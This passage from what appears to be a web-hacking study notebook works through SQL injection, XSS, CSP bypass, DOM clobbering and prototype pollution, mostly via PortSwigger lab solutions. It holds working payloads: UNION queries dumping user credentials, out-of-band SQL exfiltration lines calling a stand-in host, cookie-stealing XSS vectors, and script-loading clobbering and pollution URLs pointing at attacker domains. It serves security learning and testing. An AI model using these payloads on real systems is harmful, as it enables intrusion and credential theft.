TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--
```

3. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie. The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp Collaborator to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We'll go over this technique in the next lab.

&#x20;                            **Blind SQL injection with out-of-band data exfiltration**

{% embed url="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration" %}

&#x20;                               **STORED: Second-order SQL injection**

First-order SQL injection arises where the application takes user input from an HTTP request and, in the course of processing that request, incorporates the input into a SQL query in an unsafe way.

In second-order SQL injection (also known as stored SQL injection), the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability arises at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way.

Second-order SQL injection often arises in situations where developers are aware of SQL injection vulnerabilities, and so safely handle the initial placement of the input into the database. When the data is later processed, it is deemed to be safe, since it was previously placed into the database safely. At this point, the data is handled in an unsafe way, because the developer wrongly deems it to be trusted.

&#x20;                                            **XML: WAF Filter Bypass**

{% embed url="https://portswigger.net/web-security/sql-injection" %}

In all of the labs so far, you've used the query string to inject your malicious SQL payload. However, it's important to note that you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.

These different formats may even provide alternative ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often just look for common SQL injection keywords within the request, so you may be able to bypass these filters by simply encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:

```
<stockCheck>     <productId>         123     </productId>     <storeId>         999 &#x53;ELECT * FROM information_schema.tables     </storeId> </stockCheck>   <storeId>     1 &#x53;ELECT * FROM information_schema.tables </storeId>
```

This will be decoded server-side before being passed to the SQL interpreter.

If you use Burp Suite, it’s recommended to use the Hackvertor extention to obfuscate payloads. For example, in Repeater, highlight the string which you want to encode. Then right-click and select Extensions → Hackvertor → Encode → hex\_entities. After that, our payload is as below.

```
<storeId>     <@hex_entities>         1 UNION SELECT * FROM information_schema.tables     <@/hex_entities> </storeId>
```

&#x20;                        **SQL injection with filter bypass via XML encoding**

{% embed url="https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding" %}

**Craft an exploit**

1. Pick up where you left off, and deduce that the query returns a single column. When you try to return more than one column, the application returns 0 units, implying an error.
2. As you can only return one column, you need to concatenate the returned usernames and passwords, for example: <@hex\_entities>1 UNION SELECT username || '\~' || password FROM users<@/hex\_entities>
3. Send this query and observe that you've successfully fetched the usernames and passwords from the database, separated by a \~ character.
4. Use the administrator's credentials to log in and solve the lab.







* Test for vulnerability: Enter a single quote (') or a double quote (") in the username or password field and see if it throws any error or behaves differently. If it does, it may indicate a potential vulnerability.
* Determine the number of columns: Use the 'ORDER BY' clause to determine the number of columns in the SQL query. Start with 'ORDER BY 1' and keep increasing the number until you get an error or different behavior. This will help you understand the structure of the query.
* Identify the vulnerable column: Use the 'UNION SELECT' statement to inject your own SQL query into the original query. Replace one of the columns with your own query, such as 'UNION SELECT 1,2,3,4,5--'. If the page displays the number 1, 2, 3, 4, or 5, it means that column is vulnerable to injection.
* Extract information: Use the 'UNION SELECT' statement to extract information from the database. For example, you can use 'UNION SELECT 1,2,username,password,5 FROM users--' to retrieve the usernames and passwords from the 'users' table.
* Login as another user: If you want to log in as another user, modify the injected query to match the credentials of the desired user. For example, 'UNION SELECT 1,2,username,password,5 FROM users WHERE username="admin"--' will attempt to log in as the admin user.

[https://arxiv.org/abs/1303.3047](https://arxiv.org/abs/1303.3047)\
\# This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results.

[https://livesql.oracle.com](https://livesql.oracle.com/)\
\# Learn and share SQL. Running on Oracle Database 19c.

[https://www.db-fiddle.com](https://www.db-fiddle.com/)\
\# An online SQL database playground for testing, debugging and sharing SQL snippets.

[http://sqlfiddle.com/](http://sqlfiddle.com/)\
\# Application for testing and sharing SQL queries.

\
\# Oracle

```
'||(SELECT%20UTL_INADDR.GET_HOST_ADDRESS('xpto.example.com'))||'
'||(SELECT%20UTL_HTTP.REQUEST('http://xpto.example.com')%20FROM%20DUAL)||'
'||(SELECT%20HTTPURITYPE('http://xpto.example.com').GETCLOB()%20FROM%20DUAL)||'
'||(SELECT%20DBMS_LDAP.INIT(('xpto.example.com',80)%20FROM%20DUAL)||'
```

\
\# MySQL

```
'||(SELECT%20LOAD_FILE('\\xpto.example.com'))||'
```

\
\# Microsoft SQL Server

```
'+;EXEC('master..xp_dirtree"\\xpto.example.com\"');+'
'+;EXEC('master..xp_fileexist"\\xpto.example.com\"');+'
'+;EXEC('master..xp_subdirs"\\xpto.example.com\"');+'
```

\
\# PostgreSQL

```
'||;COPY%20users(names)%20FROM%20'\\xpto.example.com\';||'
```

[https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet](https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet)\
\# This repository contains a advanced methodology of all types of SQL Injection.

[https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/)\
\# This SQL injection cheat sheet is an updated version of a 2007 post by Ferruh Mavituna on his personal blog. Currently this SQL injection cheat sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences.

[https://www.websec.ca/kb/sql\_injection](https://www.websec.ca/kb/sql_injection)\
\# The SQL Injection Knowledge Base

[https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/](https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/)\
\# Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL injection vulnerability.



**Burp Suite:**&#x20;

* LOGIN PANELS
* SEARCH FEILDS
* CONTACT FORMS
* FIND DATABASE
* FIND TABLES
* FIND COLUMS
* FIND USERNAME/PASS
* Second Order SQL Injection: In this scenario, injected malicious code is not executed immediately but is stored in the database for later execution, leading to delayed attacks.&#x20;
* Blind SQL Injection: Attackers exploit this vulnerability to extract information from the database without directly viewing the results. This can be done through time-based or boolean-based techniques.

\----------------------------------------------------------------------------------------

### &#x20;                                            2. Manual: NoSQL  <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/nosql-injection" %}

**BURP SUIT:**&#x20;

Blind NoSQL Injection: Similar to blind SQL injection, this type of attack doesn't directly reveal results but can be used to infer information through timing-based or boolean-based techniques.



\----------------------------------------------------------------------------------------

### &#x20;                              3. Manual: Web Cache Poisoning <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/web-cache-poisoning" %}

{% embed url="https://www.giftofspeed.com/cache-checker/" %}

Web cache poisoning has long been an elusive vulnerability, a 'theoretical' threat used mostly to scare developers into obediently patching issues that nobody could actually exploit.

In this paper I'll show you how to compromise websites by using esoteric web features to turn their caches into exploit delivery systems, targeting everyone that makes the mistake of visiting their homepage.

Even though Web Cache Poisoning has been around for years, the increasing complexity in technology stacks constantly introduces unexpected behaviour which can be abused to achieve novel cache poisoning attacks. In this paper I will present the techniques I used to report over <mark style="color:yellow;">**70 cache poisoning vulnerabilities**</mark> to various Bug Bounty programs.

{% embed url="https://youst.in/posts/cache-poisoning-at-scale/" %}



\----------------------------------------------------------------------------------------

### &#x20;                                                 4. Manual: XSS <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet" %}

{% embed url="https://portswigger.net/web-security/cross-site-scripting" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection" %}

{% embed url="https://infosecwriteups.com/mastering-xss-a-comprehensive-guide-for-bug-bounty-hunters-fc4e2b4ad1f1" %}

&#x20;                                                      **REFLECTED XSS**&#x20;

{% embed url="https://github.com/Edr4/XSS-Bypass-Filtershttps:/github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#cloudflare-xss-bypasses-by-bohdan-korzhynskyihttps://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.mdhttps://github.com/RenwaX23/XSS-Payloads/blob/master/Payloads.txthttps://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md" %}

**PAYLOADS:**

[**https://github.com/RenwaX23/XSS-Payloads/blob/master/Payloads.txt**](https://github.com/RenwaX23/XSS-Payloads/blob/master/Payloads.txt)



**ENCODE PAYLOAD:**\
Translate JavaScript to other writing systems.

* Jsfuck https://jsfuck.com/
* Aurebesh https://aem1k.com/aurebesh.js/#
* Katakana https://www.sljfaq.org/cgi/e2k.cgi
* Lontara https://lingojam.com/Lontara
* Cuneiform https://funtranslations.com/babylonian

**BYPASS: WAF:**&#x20;

[https://brutelogic.com.br/\
https://github.com/0xInfection/Awesome-WAF\
https://github.com/Edr4/XSS-Bypass-Filters\
https://github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.md\
https://github.com/gprime31/WAF-bypass-xss-payloads/blob/master/Cloudflare%20xss%20payloads](https://brutelogic.com.br/https://github.com/0xInfection/Awesome-WAFhttps:/github.com/Edr4/XSS-Bypass-Filtershttps:/github.com/daffainfo/AllAboutBugBounty/blob/master/Cross%20Site%20Scripting.mdhttps://github.com/gprime31/WAF-bypass-xss-payloads/blob/master/Cloudflare%20xss%20payloads)

**Entry points:**

* **URL Parameters:** User-supplied data passed via query parameters in the URL.
* **Search Queries:** Search queries that are reflected in the response, often seen in search result pages.
* **Form Fields:** User input reflected in the response after submitting a form.
* Error Messages: Error messages generated by the application that include unvalidated user input.
* **Headers:** HTTP headers such as Referer, User-Agent, or custom headers that are reflected in the response.
* **Cookies**: Unescaped cookie values included in the response.
* **Referrer Values:** The referrer URL value passed by the user's browser and reflected in the response.
* **User-Agent Values:** The user-agent string provided by the user's browser and included in the response.
* Hidden Form Fields: Hidden fields in HTML forms that include unvalidated user input.
* AJAX Responses: Responses from AJAX requests that include unvalidated user input and are directly rendered in the page.
* Pagination Parameters: Parameters used for pagination, where user input is included in the response.
* Hash Fragments: Data passed via the URL hash fragment (e.g., #) that is reflected in the response.
* Language Parameters: Language selection parameters that are reflected in the response.
* File Upload Names: File names provided by the user during file uploads, which are then reflected in the response.
* Referenced JavaScript or CSS Files: File names or paths referenced in HTML, JavaScript, or CSS that are based on user input and are included in the response.
* QR Codes or Barcodes: QR codes or barcodes that contain user input and are decoded by the application, with the decoded data being reflected in the response.
* Custom URL Schemes: Custom URL schemes used by the application that reflect user input in the response.
* Custom Application-Specific Parameters: Custom parameters used by the application that reflect user input in the response.

**Exit points:**

* URL Context: If the injected script is included within URLs, it can be executed within the URL context. This includes attributes like href or src where the user input is reflected in the URL.
* HTML Context: Within the HTML context, the injected script can be executed when it is included in HTML tags such as, , , or .
* JavaScript Context: If the injected script is included within JavaScript code, it can be executed in JavaScript context. This includes locations such as event handlers (onclick, onmouseover, etc.), JavaScript functions, or inline JavaScript code.
* Attribute Context: Attributes such as onerror, onload, href, src, style, or any other attribute that can execute JavaScript can serve as exit points
* CSS Context: If the application allows user input to be directly included in CSS code, it can lead to Reflected XSS. For example, when user-supplied data is reflected in style attributes or CSS property values.
* Event Handlers: Event handlers, such as onclick, onmouseover, or onsubmit, can be exit points for Reflected XSS if the injected script is executed within these event contexts.
* JavaScript Functions: If the user input is directly used as a parameter to JavaScript functions, the injected script can be executed within the function context.
* Document Object Model (DOM): If the user input is used to manipulate or interact with the DOM, the injected script can be executed within the context of the DOM manipulation.
* AJAX Responses: When user-supplied data is reflected in AJAX responses, it can serve as an exit point for Reflected XSS if the response is directly rendered or evaluated.
* JSON Responses: If user input is included within a JSON response and directly rendered or evaluated by JavaScript code, it can be an exit point for Reflected XSS.
* Custom Application-Specific Outputs: Depending on the application's specific implementation, there might be custom outputs where user input is directly included, such as templating systems or dynamic content generation, which can become exit points for Reflected XSS.
* Cookies and Local Storage: The malicious script can read, modify, or delete cookies and data stored in the local storage of the user's browser.
* Session Tokens and CSRF Tokens: An attacker can read and steal session tokens or Cross-Site Request Forgery (CSRF) tokens, allowing them to impersonate the victim and perform unauthorized actions on their behalf.

**Manually Test:**

* Web Browsers Developer Tools: Modern web browsers like Chrome, Firefox, or Edge come with developer tools that allow you to inspect the source code, modify requests, and analyze responses. These tools can be used to manually inject payloads and check for potential XSS vulnerabilities.
* Burp Suite Community: Allows you to intercept and modify requests and responses, making it useful for manual XSS testing.
* cURL: https://curl.se/ - cURL is a command-line tool for making HTTP requests. It can be used to manually craft requests and analyze responses to test for Reflected XSS vulnerabilities.
* EditThisCookie: https://www.editthiscookie.com/
* Postman: https://www.postman.com/ - Postman is an API testing tool that allows you to send custom requests and inspect responses. It can be useful for manual testing of APIs for potential XSS vulnerabilities.



1. **Identify / Analyze code that outputs user input:**\


{% embed url="https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html" %}

Codes that output user input without proper sanitization risk XSS vulnerability.

* Press Ctrl + U (to view the page output source from the browser to see if your code is placed inside an attribute.) If it is, inject the following code and test to view the output: “onmouseover= alert(‘hello’);”
* I search for the word "XSS" and there is no reflection, meaning there isn't a injection point
* you first need to make sure the value you sent to the server gets reflected in the response, otherwise you are only trying payloads like crazy when there is actually no injection point

2. **Check Impact:**

Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. If i enter xss"> i get xss"> which means we cannot do XSS there, in order to proceed with payloads otherwise it wont work The key HTML entities to identify are:

```
> (greater than)
< (less than)
& (ampersand)
' (apostrophe or single quote)
" (double quote)
“>< 
xss">

\n (new line)
\r (carriage return)
' (apostrophe or single quote)
" (double quote)
\ (backslash)
\uXXXX (unicode values)
```

3. **Trying in every parameter you see:**

{% embed url="https://github.com/lutfumertceylan/top25-parameter/blob/master/xss-parameters.txt" %}

1. URL Parameters: Data passed in the query string of a URL, typically after the ? symbol. For example, https://example.com/page?name=\<malicious\_code>.
2. Form Fields: Data submitted through HTML forms. For example, < input type="text" name="comment" >.
3. Cookies: Data stored in cookies and sent with each request to the server. Malicious code in cookies can be used to execute when a user visits a page.
4. HTTP request parameter: Certain HTTP headers, such as the Referer header, can also contain user-provided data that might be used in the application.
5. POST data: JSON

create a bash script to automate javascript static analysis, only 3 goals:

1. Gather the javascript file links present in a domain.
2. Discover the endpoints present in those javascript
3. Then save those javascript files for further static analysis where we can look for hardcoded credentials and stuff

&#x20;                                                            **Common injection parameters**\
[**https://github.com/lutfumertceylan/top25-parameter/blob/master/xss-parameters.txt**](https://github.com/lutfumertceylan/top25-parameter/blob/master/xss-parameters.txt)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect#fuzzing](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect#fuzzing)

```
?q={payload}

/{payload}
?next={payload}
```

4. **Check that output is encoded:**

Check that HtmlEncode is used to encode HTML output that includes any type of input. Also, check that UrlEncode is used to encode URL strings. Input data can come from query strings, form fields, cookies, HTTP headers, and input read from a database, particularly if other applications share the database. If these encodings are missing, your application is at risk of XSS vulnerability. In addition, by encoding the data, you prevent the browser from treating the HTML as an executable script. However, if the code you are reviewing filters for characters, then test using the following script instead:

```
&{alert(‘hello’);}
```

5. **Identify code that handles URLs:**

Code that governs URLs can risk XSS and other vulnerabilities. Review your code and systems as follows:

* Check that your webserver is updated. If your webserver is not up-to-date with the latest security patches, it could be vulnerable to directory traversal attacks:
* If your code filters for “/”, an attacker can easily bypass the filter by using URL encoding (percent-encoding) for the same character. For example, the percent-encoding for “/” is “%c0f%af”, which could be used to bypass the filter as shown in the following URL: http://www.abc.com/..%c0f%af../winnt.
* If your code processes query string input, check that it constrains the input data and performs bounds checks. Also, check that the code is not vulnerable if an attacker injects a massive amount of data through a query string parameter like the URL shown here: http://www.abc.com/test.aspx?var=InjectHugeAmountOfDataHere.

6. **Unit test your codes:**

Unit testing is a software testing method by which individual units of source code are tested to determine whether they are fit for use. Unit testing aims to isolate each part of the program and show that the individual components are correct. Use unit testing to make sure that a particular bit of data is correctly escaped. Unit testing helps to identify XSS and other flaws early in the development cycle. If possible, unit test every place where user-supplied data is displayed. After you find and fix an XSS bug in your code, consider adding a regression test for it.

7. **Perform these basic tests on your application:**

Create a test user profile and use that profile to interact with your application. Insert strings that contain HTML and JavaScript metacharacters such as, into all application inputs, such as forms, URL parameters, hidden fields, or cookie values.

```
 >’>”><img src=x onerror=alert(0)> 
```

If your application doesn’t correctly escape this string, you will see an alert and know that something isn’t right. Wherever your application handles user-supplied URLs, enter the following javascript code:&#x20;

```
alert(0) or data:text/html,<script>alert(0)</script>
```

&#x20;                                       **Reflected: ALWAYS ALERT**

check if your XSS triggers on a critical in scope domain not sandbox iframe or domain

```
alert(document.domain)
alert(window.origin)

window.alert(1)
window.document.cookie.alert(1) 
window.localStorage(1)

Try it on:
- URL query, fragment & path;
- all input fields.

//ALERT: COOKIE 
with(document)alert(cookie)

//ALERT: document.domain
prompt`${document.domain}`
```



&#x20;                                                  **STORED XSS**

**Entry points:**

* User-Generated Content: Any part of the web application that allows users to submit content, such as comments, messages, reviews, or posts
* Input Fields: Form input fields, including text fields, text areas, and file uploads
* User Profiles: User profiles that allow users to enter personal information, bios, or descriptions can be an entry point
* Content Management Systems (CMS): CMS platforms that allow content authors to create and manage pages can become entry points
* Message Boards, Blogs and Forums: If a web application includes message boards, forums, or chat functionalities, user-generated content posted in these areas
* User-Generated URLs: If users can create URLs that contain dynamic content or parameters, those URLs can become an entry point for stored XSS
* User-Generated File Uploads: If the application allows users to upload files (e.g., images, documents), and these files are later accessed by other users
* Content Sharing Platforms: Platforms that allow users to share content (e.g., videos, articles) can be entry points

**Exit points:**

* Displaying User-Generated Content: If the stored malicious script is displayed when other users access a page (e.g., comments, posts, reviews or messages)
* User Profile Pages: If the injected script is displayed on the profile pages of the user who injected the payload, it can execute when users visit that profile.
* Search Results: If the malicious script is present in the search results page, any user who views those search results could trigger the XSS payload.
* Publicly Accessible URLs: URLs that contain the injected script and are publicly accessible can lead to Stored XSS if users click on or share those URLs.
* Content Sharing Platforms: can be an exit point if the compromised content is shared on platforms that allow users to view or interact with shared content.
* Notifications and Alerts: If the application sends notifications or alerts containing user-generated content, those notifications could serve as exit points.
* Emails & Messaging: Apps sends emails or messages that include user-generated content, the payload may be executed when recipients open emails or view messages.
* Feeds and Dashboards: If the malicious script is displayed in feeds or dashboards that other users can access, it can lead to XSS execution for those users.
* Syndicated Content and Widgets: If the script is present in content syndication or widgets used on external websites, users who visit those external sites may be exposed.
* Data Exports and Downloads: If the stored XSS vulnerability affects data exports or downloads, users who open the exported files may trigger the XSS payload.

**Manually Test:**

* Developer Console: Browsers' developer consoles (such as Chrome Developer Tools, Firefox Developer Tools, or Safari Web Inspector) provide a powerful set of tools for manual testing. They allow you to inspect and modify the DOM, execute JavaScript code, and monitor network requests, making them handy for identifying and exploiting DOM XSS vulnerabilities.
* Burp Suite Proxy: used for manual testing of web applications, including Stored XSS.&#x20;
* EditThisCookie: https://www.editthiscookie.com/

**Exploits:**

* STORED: Cookie Stealing
* STORED: Capture Passwords
* STORED: XSS to perform CSRF
* STORED: Web Cache Poisoning leads to Stored XSS
* STORED: Cache Poisoning To Stored XSS = $1,000
* STORED: Cache Deception Allows CSRF Attacks & Stored XS

&#x20;                                                          **DOM XSS**

**Entry points:**

* URL parameters: passes it to a sink that supports dynamic code execution, such as eval() or innerHTML, which is typically accessed with the window.location object. https://example.com/page?name=alert('XSS');
* Form Inputs: If a web application directly injects user-supplied content into the DOM without proper sanitization, an attacker can exploit this to execute malicious scripts.
* HTML5 Attributes: Certain HTML5 attributes, such as data-_, aria-_, and others, can be manipulated by an attacker to trigger DOM XSS if the application doesn't validate or sanitize these attributes properly.
* Event Handlers: If an application dynamically sets event handlers, attackers may inject malicious scripts into these handlers.
* JavaScript Functions: When an application executes JavaScript functions based on user-supplied data without proper validation, it becomes vulnerable to DOM XSS.
* Client-Side Templating: If a web application uses client-side templating engines (e.g., Handlebars, Mustache) and injects unsanitized user input into the templates, it can lead to DOM XSS.

**Exit points:**

* Document Object Methods: Certain methods of the Document Object (e.g., eval(), execCommand(), write(), etc.) can be abused by attackers to execute injected scripts.
* setAttribute(): If a web application uses the setAttribute() method to set an attribute value with untrusted data, it can lead to DOM XSS.
* innerHTML: When untrusted data is directly assigned to the innerHTML property of an element, it can introduce XSS vulnerabilities.
* outerHTML: Similar to innerHTML, when untrusted data is assigned to the outerHTML property of an element, it can cause DOM XSS.
* insertAdjacentHTML(): This method allows dynamic injection of HTML content at various positions relative to an element. If untrusted data is used as the argument, it can result in DOM XSS.
* location and window.location: If the location or window.location object is manipulated using untrusted data, it can lead to XSS, particularly in redirection attacks.
* setTimeout(), setInterval(), requestAnimationFrame(): If untrusted data is passed as the first argument to these functions, it can result in script execution.
* Event Handlers: Event handlers attached to DOM elements can become exit points if they are set using untrusted data.
* Data Binding: In modern web applications using libraries like React, Vue.js, or Angular, data binding can cause XSS if not handled properly.
* JSON Parsing: If the application parses JSON data from an untrusted source and directly injects it into the DOM, it can be an exit point for XSS attacks.

**Manually Test:**

* Developer Console: Browsers' developer consoles (such as Chrome Developer Tools, Firefox Developer Tools, or Safari Web Inspector) provide a powerful set of tools for manual testing. They allow you to inspect and modify the DOM, execute JavaScript code, and monitor network requests, making them handy for identifying and exploiting DOM XSS vulnerabilities.
* Burp Suite Proxy: It allows you to intercept and modify HTTP requests and responses, examine and modify the DOM, and test for DOM XSS vulnerabilities by injecting malicious payloads.
* EditThisCookie: https://www.editthiscookie.com/



[https://rhynorater.github.io/postMessage-Braindump](https://rhynorater.github.io/postMessage-Braindump)\
\# postMessage-related bugs have landed me some serious bounties during the past couple live hacking events. Here is a quick summary of what you need to know about postMessage.

[https://www.gremwell.com/firefox-xss-302](https://www.gremwell.com/firefox-xss-302)\
\# Forcing Firefox to Execute XSS Payloads during 302 Redirects.

[https://trufflesecurity.com/blog/xsshunter/](https://trufflesecurity.com/blog/xsshunter/)\
\# Truffle Security is proud to host a new XSSHunter.



\----------------------------------------------------------------------------------------

### &#x20;                                                5. Manual: CSP <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/cross-site-scripting/content-security-policy" %}

{% embed url="https://csp-evaluator.withgoogle.com/" %}

**ENTRY POINTS:**

* Search box

CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.

It's quite common for a CSP to block resources like script. However, many CSPs do allow image requests. This means you can often use img elements to make requests to external servers in order to disclose CSRF tokens, for example.

Some browsers, such as Chrome, have built-in dangling markup mitigation that will block requests containing certain characters, such as raw, unencoded new lines or angle brackets.

Some policies are more restrictive and prevent all forms of external requests. However, it's still possible to get round these restrictions by eliciting some user interaction. To bypass this form of policy, you need to inject an HTML element that, when clicked, will store and send everything enclosed by the injected element to an external server.

**Bypassing CSP with policy injection** \
You may encounter a website that reflects input into the actual policy, most likely in a report-uri directive. If the site reflects a parameter that you can control, you can inject a semicolon to add your own CSP directives. Usually, this report-uri directive is the final one in the list. This means you will need to overwrite existing directives in order to exploit this vulnerability and bypass the policy.

Normally, it's not possible to overwrite an existing script-src directive. However, Chrome recently introduced the script-src-elem directive, which allows you to control script elements, but not events. Crucially, this new directive allows you to overwrite existing script-src directives.

**EXPLOITS:**&#x20;

Reflected XSS protected by very strict CSP, with dangling markup attack\
[https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack)

Reflected XSS protected by CSP, with CSP bypass\
[https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass](https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass)



\----------------------------------------------------------------------------------------

### &#x20;                                   5. Manual: DOM Clobbering <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/dom-based/dom-clobbering" %}

{% embed url="https://github.com/wisec/domxsswiki/wiki" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Dom%20Clobbering" %}

**ENTRY POINTS:**

* blog posts Comment functionality

**PROPERTIES:**

* someObject
* attributes

DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.

&#x20;                                       **How to exploit DOM-clobbering vulnerabilities**&#x20;

If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:

```
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
```

As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.

**EXPLOITS**

{% embed url="https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering" %}

* Exploiting DOM clobbering to enable XSS

The comment functionality allows "safe" HTML

1. Go to one of the blog posts and create a comment containing the following anchors:

```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
```

2. Return to the blog post and create a second comment containing any random text. The next time the page loads, the alert() is called.&#x20;

When you make a second post, the browser uses the newly-clobbered global variable, which smuggles the payload in the onerror event handler and triggers the alert().



&#x20;                          **Clobbering DOM attributes to bypass HTML filters**

{% embed url="https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters" %}

**HTMLJanitor library** \
Another common technique is to use a form element along with an element such as input to clobber DOM properties For example, clobbering the attributes property enables you to bypass client-side filters that use it in their logic. Although the filter will enumerate the attributes property, it will not actually remove any attributes because the property has been clobbered with a DOM node. As a result, you will be able to inject malicious attributes that would normally be filtered out. For example, consider the following injection:

```
<form onclick=alert(1)><input id=attributes>Click me
```

In this case, the client-side filter would traverse the DOM and encounter a whitelisted form element. Normally, the filter would loop through the attributes property of the form element and remove any blacklisted attributes. However, because the attributes property has been clobbered with the input element, the filter loops through the input element instead. As the input element has an undefined length, the conditions for the for loop of the filter (for example i\<element.attributes.length) are not met, and the filter simply moves on to the next element instead. This results in the onclick event being ignored altogether by the filter, which subsequently allows the alert() function to be called in the browser.

1. Go to one of the blog posts and create a comment containing the following HTML:

```
<form id=x tabindex=0 onfocus=print()><input id=attributes>
```

2. Go to the exploit server and add the following iframe to the body:

```
<iframe src=https://YOUR-LAB-ID.web-security-academy.net/post?postId=3 onload="setTimeout(()=>this.src=this.src+'#x',500)">
```

Remember to change the URL to contain your lab ID and make sure that the postId parameter matches the postId of the blog post into which you injected the HTML in the previous step.

3. Store the exploit and deliver it to the victim. The next time the page loads, the print() function is called.



\----------------------------------------------------------------------------------------

### &#x20;                                 6. Manual: Prototype Pollution <a href="#user-content-manual" id="user-content-manual"></a>

{% embed url="https://portswigger.net/web-security/prototype-pollution" %}

[https://github.com/BlackFan/client-side-prototype-pollution#script-gadgets\
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution](https://github.com/BlackFan/client-side-prototype-pollution#script-gadgetshttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Prototype%20Pollution)

Successful exploitation of prototype pollution requires the following key components:

1. A prototype pollution source: This is any input that enables you to poison prototype objects with arbitrary properties.\
   \- The URL via either the query or fragment string (hash) Blog, Baskets,\
   \- JSON-based input\
   \- Web messages
2. A Sink: In other words, a JavaScript function or DOM element that enables arbitrary code execution: A prototype pollution sink is essentially just a JavaScript function or DOM element that you're able to access via prototype pollution, which enables you to execute arbitrary JavaScript or system commands.
3. An exploitable gadget: This is any property that is passed into a sink without proper filtering or sanitization: If the website's developers haven't set a transport\_url property on their config object, this is a potential gadget. In cases where an attacker is able to pollute the global Object.prototype with their own transport\_url property, this will be inherited by the config object and, therefore, set as the src for this script to a domain of the attacker's choosing.

**PAYLOADS:**&#x20;

```
https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net
https://vulnerable-website.com/?__proto__[transport_url]=data:text/html,<script>alert(0)</script>
https://vulnerable-website.com/?__proto__[transport_url]=data:,alert(1);//
https://vulnerable-website.com/?__proto__[evilProperty]=eval(%27ale%27+%27rt(0)%27);

https://vulnerable-website.com/blog/?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w 

https://vulnerable-website.com/my.basket/?__proto__[transport_url]=%3C%2fscript%3E%3Cscript%3Ealert(document.cookie)%3C%2fscript%3Eivl0w
```

**CLIENT SIDE EXPLOITS**

1. **Client-side prototype pollution via browser APIs** \
   https://portswigger.net/web-security/prototype-pollution/client-side/browser-apis/lab-prototype-pollution-client-side-prototype-pollution-via-brows
2. er-apis
3. **DOM XSS via client-side prototype pollution** \
   https://portswigger.net/web-security/prototype-pollution/client-side/lab-prototype-pollution-dom-xss-via-client-side-prototype-pollution
4. **DOM XSS via an alternative prototype pollution vector** \
